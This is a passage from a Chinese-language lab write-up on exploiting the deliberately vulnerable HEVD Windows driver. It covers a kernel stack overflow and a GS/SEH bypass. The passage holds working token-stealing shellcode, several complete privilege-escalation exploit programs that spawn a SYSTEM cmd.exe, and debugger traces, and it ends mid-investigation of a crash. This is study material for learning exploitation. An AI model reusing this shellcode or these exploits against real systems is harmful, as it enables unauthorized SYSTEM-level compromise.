       +0x2b4 ActiveThreadsHighWatermark : 0x71
       +0x2b8 SmallestTimerResolution : 0
       +0x2bc TimerResolutionStackRecord : (null) 
    
  5. Token 成员域(错误部分)

    0: kd> dd 0x86adc798+f8
    86adc890  8da01275 00000000 00000000 00000000
    86adc8a0  00000000 00000000 86b372e8 00000000
    86adc8b0  00000003 00000040 00000000 00000000
    86adc8c0  00000000 00000000 00000000 00000000
    86adc8d0  00000000 00000000 00000000 00000000
    86adc8e0  00000000 00000000 8da088d8 00000000
    86adc8f0  7ffe0000 00000000 00000000 00000000
    86adc900  00000000 74737953 00006d65 00000000
    0: kd> dt _EX_FAST_REF 8da01275 
    ntdll!_EX_FAST_REF
       +0x000 Object           : 0x002a4d45 Void
       +0x000 RefCnt           : 0y101
       +0x000 Value            : 0x2a4d45
    0: kd> !token 8da01275
    The address 0xffffffff8da01275 does not point to a token object.
    
  6. 为什么说这是错误部分,因为 86ADC890 数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。

  7. Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:

    0: kd> dt _EX_FAST_REF 8da01275&fffffff0
    ntdll!_EX_FAST_REF
       +0x000 Object           : 0x5359532a Void
       +0x000 RefCnt           : 0y010
       +0x000 Value            : 0x5359532a
    0: kd> !token 8da01275&fffffff0
    _TOKEN 0xffffffff8da01270
    TS Session ID: 0
    User: S-1-5-18
    User Groups: 
     00 S-1-5-32-544
        Attributes - Default Enabled Owner 
     01 S-1-1-0
        Attributes - Mandatory Default Enabled 
     02 S-1-5-11
        Attributes - Mandatory Default Enabled 
     03 S-1-16-16384
        Attributes - GroupIntegrity GroupIntegrityEnabled 
    Primary Group: S-1-5-18
    Privs: 
     02 0x000000002 SeCreateTokenPrivilege            Attributes - 
     03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
     04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default 
     05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - 
     07 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default 
     08 0x000000008 SeSecurityPrivilege               Attributes - 
     09 0x000000009 SeTakeOwnershipPrivilege          Attributes - 
     10 0x00000000a SeLoadDriverPrivilege             Attributes - 
     11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled Default 
     12 0x00000000c SeSystemtimePrivilege             Attributes - 
     13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled Default 
     14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled Default 
     15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled Default 
     16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled Default 
     17 0x000000011 SeBackupPrivilege                 Attributes - 
     18 0x000000012 SeRestorePrivilege                Attributes - 
     19 0x000000013 SeShutdownPrivilege               Attributes - 
     20 0x000000014 SeDebugPrivilege                  Attributes - Enabled Default 
     21 0x000000015 SeAuditPrivilege                  Attributes - Enabled Default 
     22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - 
     23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
     25 0x000000019 SeUndockPrivilege                 Attributes - 
     28 0x00000001c SeManageVolumePrivilege           Attributes - 
     29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default 
     30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default 
     31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - 
     32 0x000000020 SeRelabelPrivilege                Attributes - 
     33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default 
     34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
     35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
    Authentication ID:         (0,3e7)
    Impersonation Level:       Anonymous
    TokenType:                 Primary
    Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
    Token ID: 3ea              ParentToken ID: 0
    Modified ID:               (0, 3eb)
    RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
    OriginatingLogonSession: 0
    

2.4.2 提权

​ 参照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,它们构造的 Payload 代码如下:

    // Windows 7 SP1 x86 Offsets
    #define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
    #define SYSTEM_PID         0x004  // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                         ; Set NTSTATUS SUCCEESS
        add esp, 12                          ; Fix the stack
        pop ebp                              ; Restore saved EBP
        ret 8                                ; Return cleanly
    }
}

解释一下如上代码:

  1. 获取当前线程的 KTREAD 结构,从而获得 _KPROCESS 结构
  2. 获取系统进程的进程ID:4
  3. 根据系统进程的 ID 在进程链表中查找该进程的 EPROCESS
  4. 找到之后获取系统进程的进程令牌
  5. 使用系统进程的令牌替换目标进程的令牌

2.4.3 POC 动态调试

  1. 对 TriggerBufferOverflowStack 函数下断点,在有符号文件的情况下,可以直接:bu HEVD!TriggerBufferOverflowStack,如果没有符号文件,也可以直接计算函数偏移

    image-20221215005346675

  2. 使用应用程序与驱动层进行通信:

    image-20221215005648153

  3. 输入后,成功断下

    image-20221215010103360

  4. 输入 dd esp 查看 esp 地址处存放的值:aaaa819a,该地址即为 TriggerBufferOverflowStack 函数的返回地址

    0: kd> dd esp
    91995ad4  aaaa819a 0034ec50 00000100 91995afc
    91995ae4  aaaa70ba 89061660 890616d0 86bf0f80
    91995af4  86be1dc8 00000000 91995b14 83e7f593
    91995b04  86be1dc8 89061660 89061660 86be1dc8
    91995b14  91995b34 8407399f 86bf0f80 89061660
    91995b24  890616d0 00000094 04995bac 91995b44
    91995b34  91995bd0 84076b71 86be1dc8 86bf0f80
    91995b44  00000000 83ed9201 0008cf01 00000002
    
  5. 继续在memcpy函数下断点以后运行程序

    image-20221215012359784

  6. 查看 memcpy 函数的参数:

    0: kd> dd ebp+c
    91995adc  00000100 91995afc aaaa70ba 89061660
    91995aec  890616d0 86bf0f80 86be1dc8 00000000
    91995afc  91995b14 83e7f593 86be1dc8 89061660
    91995b0c  89061660 86be1dc8 91995b34 8407399f
    91995b1c  86bf0f80 89061660 890616d0 00000094
    91995b2c  04995bac 91995b44 91995bd0 84076b71
    91995b3c  86be1dc8 86bf0f80 00000000 83ed9201
    91995b4c  0008cf01 00000002 e983baf0 00000020
    0: kd> dd ebp+8
    91995ad8  0034ec50 00000100 91995afc aaaa70ba
    91995ae8  89061660 890616d0 86bf0f80 86be1dc8
    91995af8  00000000 91995b14 83e7f593 86be1dc8
    91995b08  89061660 89061660 86be1dc8 91995b34
    91995b18  8407399f 86bf0f80 89061660 890616d0
    91995b28  00000094 04995bac 91995b44 91995bd0
    91995b38  84076b71 86be1dc8 86bf0f80 00000000
    91995b48  83ed9201 0008cf01 00000002 e983baf0
    0: kd> dd eax
    919952b4  00000000 00000000 00000000 00000000
    919952c4  00000000 00000000 00000000 00000000
    919952d4  00000000 00000000 00000000 00000000
    919952e4  00000000 00000000 00000000 00000000
    919952f4  00000000 00000000 00000000 00000000
    91995304  00000000 00000000 00000000 00000000
    91995314  00000000 00000000 00000000 00000000
    91995324  00000000 00000000 00000000 00000000
    0: kd> dd 0034ec50 
    0034ec50  41414141 41414141 41414141 41414141
    0034ec60  41414141 41414141 41414141 41414141
    0034ec70  41414141 41414141 41414141 41414141
    0034ec80  41414141 41414141 41414141 41414141
    0034ec90  41414141 41414141 41414141 41414141
    0034eca0  41414141 41414141 41414141 41414141
    0034ecb0  41414141 41414141 41414141 41414141
    0034ecc0  41414141 41414141 41414141 41414141
    
  7. 要拷贝的局部变量的目的地址是 919952b4,那也就是说想要输入的数据覆盖到返回地址,我们需要提供 919952b4 - 919952b4 = 0x820 大小的字节数据来填充上面的内容,接着的4字节就会覆盖掉返回地址。此时这个地址,就可以指定为 ShellCode 的地址,这样当函数退出的时候,就会执行我们想要执行的 ShellCode。

  8. 这里还需要注意的是,正常执行的时候,函数执行完了会返回上层的 BufferOverflowStackIoCtrl 函数,而这个函数的最终会执行如下的两条指令来返回更上一层的函数执行

    image-20221215014256538

  9. 所以,为了程序的正常退出,在ShellCode的末尾也需要这样的两句代码

2.4.3 利用代码分析

​ 以下为原项目中提供的利用代码,目录为:C:\Users\soma\Downloads\HackSysExtremeVulnerableDriver-master\HackSysExtremeVulnerableDriver-master\Exploit\StackOverflow.c

DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
    HANDLE hFile = NULL;
    ULONG BytesReturned;
    PVOID MemoryAddress = NULL;
    PULONG UserModeBuffer = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    PVOID EopPayload = &TokenStealingPayloadWin7;
    SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);

    __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);

        if (!UserModeBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
        }

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);

        MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
        *(PULONG)MemoryAddress = (ULONG)EopPayload;

        DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
        DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);

        UserModeBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

以上代码所做的步骤如下:

  1. 获得设备的句柄
  2. 申请 0x824 的堆空间
  3. 将申请的堆空间使用 0x41 填充
  4. 将 0x821 - 0x824 四个字节设置为 shellcode 的地址
  5. 调用 DeviceIoControl 函数向驱动通信,传入刚刚修改好的数据

在以上代码运行之后,还会创建 cmd 进程,查看是否提权成功,以下也给出其他人写的 EXP 代码:

版本一

#include<stdio.h>
#include<windows.h>
#define STACKOVERFLOW 0x222003
/************************************************************************/
/*		        Stack Over flow                                 		*/
/*                 Write by Thunder_J 2019.6                            */
/************************************************************************/

VOID ShellCode()
{
	//__debugbreak();
	__asm
	{
			pop    edi
			pop    esi
			pop    ebx
			pushad
			mov eax, fs:[124h]
			mov eax, [eax + 050h]
			mov ecx, eax
			mov edx, 4

		find_sys_pid :
					 mov eax, [eax + 0b8h]
					 sub eax, 0b8h
					 cmp[eax + 0b4h], edx
					 jnz find_sys_pid

					 mov edx, [eax + 0f8h]
					 mov[ecx + 0f8h], edx
					 popad
					 pop ebp
					 ret 8
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
	char buf[0x824];
	HANDLE hDevice;
	DWORD bReturn = 0;
	
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
	GENERIC_READ | GENERIC_WRITE,
	FILE_SHARE_READ | FILE_SHARE_WRITE,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
	NULL
	);

	printf("Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("Failed to get handle...!\n");
		return 0;
	}
	//__debugbreak();
	memset(buf, 'A', 0x824);
	*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;

	// call TriggerStackOverflow()
	printf("Started to over flow...\n");
	//__debugbreak();
	DeviceIoControl(hDevice, STACKOVERFLOW, buf, 0x824,NULL,0,&bReturn,NULL);
	
	printf("Started to Create cmd...\n");
	CreateCmd();
	return 0;
}

版本二

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
 
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")
 
#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222003
#define OUT_BUFFER_LENGTH 0
 
void ShowError(PCHAR msg);
VOID Ring0ShellCode();
 
BOOL g_bIsExecute = FALSE;
 
int main()
{
    NTSTATUS status = STATUS_SUCCESS;
    HANDLE hDevice = NULL;
    DWORD dwReturnLength = 0;
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
 
    // 打开驱动设备
    hDevice = CreateFile(LINK_NAME,
                         GENERIC_READ | GENERIC_WRITE,
                         0,
                         NULL,
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("CreateFile Error");
        goto exit;
    }
 
    CONST DWORD dwIputSize = 0x820 + 0x4; // 0x820用来填充垃圾数据,随后4字节填充返回地址
    CHAR szInputData[dwIputSize] = { 0 };
 
    *(PDWORD)(szInputData + 0x820) = (DWORD)Ring0ShellCode; // 指定返回地址为ShellCode
    // 与驱动设备进行交互
    if (!DeviceIoControl(hDevice,
                         IOCTL,
                         szInputData,
                         dwIputSize,
                         NULL,
                         0,
                         &dwReturnLength,
                         NULL))
    {
        printf("DeviceIoControl Error");
        goto exit;
    }
 
    if (g_bIsExecute)
    {
        printf("Ring0 代码执行完成\n");
    }
 
    si.cb = sizeof(si);
    if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
                       NULL,
                       NULL,
                       NULL,
                       FALSE,
                       CREATE_NEW_CONSOLE,
                       NULL,
                       NULL,
                       &si,
                       &pi))
    {
        ShowError("CreateProcess");
        goto exit;
    }
 
exit:
    if (hDevice) NtClose(hDevice);
    system("pause");
    return 0;
}
 
void ShowError(PCHAR msg)
{
    printf("%s Error 0x%X\n", msg, GetLastError());
}
 
VOID __declspec(naked) Ring0ShellCode()
{
    __asm
    {
        pushfd
        pushad
        sub esp, 0x40
    }
 
    // 关闭页保护
    __asm
    {
        cli
        mov eax, cr0
        and eax, ~0x10000
        mov cr0, eax
    }
 
    __asm
    {
        // 取当前线程
        mov eax, fs:[0x124]
        // 取线程对应的EPROCESS
        mov esi, [eax + 0x150]
        mov eax, esi
    searchWin7:
        mov eax, [eax + 0xB8]
        sub eax, 0x0B8
        mov edx, [eax + 0xB4]
        cmp edx, 0x4
        jne searchWin7
        mov eax, [eax + 0xF8]
        mov [esi + 0xF8], eax
    }
 
    // 开起页保护
    __asm
    {
        mov eax, cr0
        or eax, 0x10000
        mov cr0, eax
        sti
    }
 
    g_bIsExecute = TRUE;
 
    __asm
    {
        add esp, 0x40
        popad
        popfd
 
        xor eax, eax
        pop ebp
        ret 8
    }
}

2.4.4 利用结果

  1. 启动利用程序:

    image-20221215170442087

  2. 输入命令:

    image-20221215170642137

  3. 出现以下情况即利用成功:

    image-20221215170945040

    image-20221215171012486

2.5 HEVD 栈溢出漏洞训练(有 GS 版本)

​ 关于 GS 的知识可以看《0day安全软件漏洞分析技术第 2 版》,在此不再过多赘述

2.5.1 漏洞原理

​ 这部分和栈溢出漏洞原理一致,只是需要绕过 GS 保护机制。

​ GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。Security Cookie 位于 EBP 之前,系统还将在 .data 的内存区域中存放一个 Security Cookie 的副本

绕过 GS 保护的几种方法:

  • 利用未被保护的内存突破GS
  • 覆盖虚函数突破GS
  • 攻击异常处理突破GS
  • 同时替换栈中和.data中的Cookie突破GS

2.5.2 漏洞利用

​ 因为 GS 保护,在栈中有 cookie,所以无法溢出到返回地址,那就溢出到 SEH handle,选择攻击异常处理突破 GS

1. POC 动态调试

  1. 对 TriggerBufferOverflowStackGS 函数下断点:bp HEVD!TriggerBufferOverflowStackGS

    image-20221215183838190

  2. 在通信程序中输入传送的数据大小:

    image-20221215184052830

  3. 此时在 Windbg 中已经成功断下,此时可以在 IDA 中分析这部分的代码,并结合单步调试的信息分析,分析结果如下:

    image-20221215234435880

    image-20221215234410548

  4. 结合以上的调试信息,构建堆栈图,可以看到驱动中的异常处理结点位于 ebp-10h 处,next 域地址为 9b4efac0,处理函数地址为 9a6eb0a0

    image-20221215234535802

  5. 再一次调试,在进入 __SEH_prolog4_GS 函数后,输入 dd FS:0 可以查看异常链的地址

    image-20221215235349752

  6. 输入 dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b4ef0ec) 查看异常链:

    image-20221215235433844

  7. 在执行完 9a6eb200 2be0 sub esp,eax 这条指令后,异常链的地址发生了变化,这里我也不知道为什么,可能是根据堆栈进行动态调整,再次查看异常链,发现异常链的结点地址也发生了变化

    image-20221215235614044

  8. 最后来到 9a6eb229 64a300000000 mov dword ptr fs:[00000000h],eax 语句,在这里相当于完成了新的 SEH 结点的插入,可以看到 FS:0 的值在插入前就已经发生了一些变化(推测是由于中间的几次 push 引起的堆栈变化导致的),在插入后,fs:0 的值没有发生改变

    image-20221215235809196

  9. 之前在书上学到的 fs:0 会指向新插入的结点,如第二张图,但是实际情况不是这样,发现新的结点被插入变成了第三个,这里感觉应该是插入结点需要根据结点所在地址来进行排序然后再插入到对应的地方

    image-20221216000207054

    image-20221216000124186

  10. 经过调试,由此确定了 SEH 结点的地址位于 ebp-10h 处

  11. 在 9a72f338 e89fbefbff call HEVD!memcpy (9a6eb1dc) 指令处下断点,运行到此处,查看参数:即拷贝的目标地址为 9b4ef8b4 ,此时 ebp 为 9b4efad0 ,ebp - 10h 为 9b4efac0 ,与 9b4ef8b4 相距 0x20C,由此得到漏洞利用的重要信息(即 SEH 结点的偏移)

    image-20221216005307184

    image-20221216005319456

2. 利用代码分析

原版payload 如下:这个 payload 在实际测试中会出现内核崩溃,在后续分析中会提到,并且会给出调整后正确的 payload

VOID TokenStealingPayladGSWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        add esp, 0x798                       ; Offset of IRP on stack
        mov edi, [esp]                       ; Restore the pointer to IRP
        add esp, 0x8                         ; Offset of DbgPrint string
        mov ebx, [esp]                       ; Restore the DbgPrint string
        add esp, 0x234                       ; Target frame to return
        xor eax, eax                         ; Set NTSTATUS SUCCEESS
        pop ebp                              ; Restore saved EBP
        ret 8                                ; Return cleanly
    }
}

利用代码如下:

DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {
    HANDLE hFile = NULL;
    ULONG BytesReturned;
    SIZE_T PageSize = 0x1000;
    HANDLE Sharedmemory = NULL;
    PVOID MemoryAddress = NULL;
    PVOID SuitableMemoryForBuffer = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    LPVOID SharedMappedMemoryAddress = NULL;
    SIZE_T SeHandlerOverwriteOffset = 0x214;
    PVOID EopPayload = &TokenStealingPayladGSWin7;
    LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;

    __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Creating Shared Memory\n");

        // Create the shared memory
        Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
                                         NULL,
                                         PAGE_EXECUTE_READWRITE,
                                         0,
                                         PageSize,
                                         SharedMemoryName);

        if (!Sharedmemory) {
            DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
        }

        DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");

        // Map the shared memory in the process space of this process
        SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,
                                                  FILE_MAP_ALL_ACCESS,
                                                  0,
                                                  0,
                                                  PageSize);

        if (!SharedMappedMemoryAddress) {
            DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
        }

        SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));

        DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);

        MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204);
        *(PULONG)MemoryAddress = 0x42424242;            // overwrite xor'ed cookie

        DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress);
        DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress);

        MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
        *(PULONG)MemoryAddress = 0x43434343;            // junk

        MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
        *(PULONG)MemoryAddress = 0x44444444;            // Next SE handler

        DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
        DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress);

        MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
        *(PULONG)MemoryAddress = (ULONG)EopPayload;     // SE Handler

        DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
        DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
                        (LPVOID)SuitableMemoryForBuffer,
                        (DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

以上代码的功能如下:

  1. 获得设备句柄

  2. 为 HackSysExtremeVulnerableDriverSharedMemory 创建一个文件映射内核对象

  3. 将一个文件映射对象映射到当前应用程序的地址空间

  4. 填充缓冲区数据,因为按页对齐,所以: SeHandlerOverwriteOffset 为 0x214

    SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));
    RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);
    
    MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204);
    *(PULONG)MemoryAddress = 0x42424242;            // overwrite xor'ed cookie
    
    DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress);
    DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress);
    
    MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
    *(PULONG)MemoryAddress = 0x43434343;            // junk
    
    MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
    *(PULONG)MemoryAddress = 0x44444444;            // Next SE handler
    
    
  5. 将偏移为 0x20E - 0x210 的 4 个字节覆盖为 payload 地址

3. 结果测试

  1. 输入命令进行测试

    image-20221216165113277

  2. 出现以下情况,但是紧接着就是内核的蓝屏崩溃,这是为什么呢

    image-20221216185514796

4. 内核崩溃原因探究

​ 对于崩溃的原因,我最开始做了以下几种猜测:

  • 生成的 HackSysEVDExploit.exe 不对,需要重新生成一下
  • 虚拟机版本不对
  • 该漏洞涉及攻击 SEH 链表,是不是虚拟机误开启了 SEHOP 导致利用失败?
  • 如果不是 SEHOP ,那么是 SafeSEH 对它进行的干扰吗

​ 针对前三种原因,我已经测试过了,不是他们导致的,所以直接测试一下 SafeSEH 有没有对结果进行干扰:

  1. 在输入 HackSysEVDExploit.exe -g -c cmd.exe 之前先在 Windbg 中下断点:bp HEVD!TriggerBufferOverflowStackGS

    image-20221220200517982

  2. 继续运行之后,输入 HackSysEVDExploit.exe -g -c cmd.exe,然后 Windbg 中断下:

    image-20221220200719602

  3. 已知异常处理函数最终要调用 RtlDispatchException ,所以输入 bp Nt!RtlDispatchException 下断点:

    image-20221220200824450

  4. 继续运行,在 RtlDispatchException 函数开头断下:

    image-20221220201005252
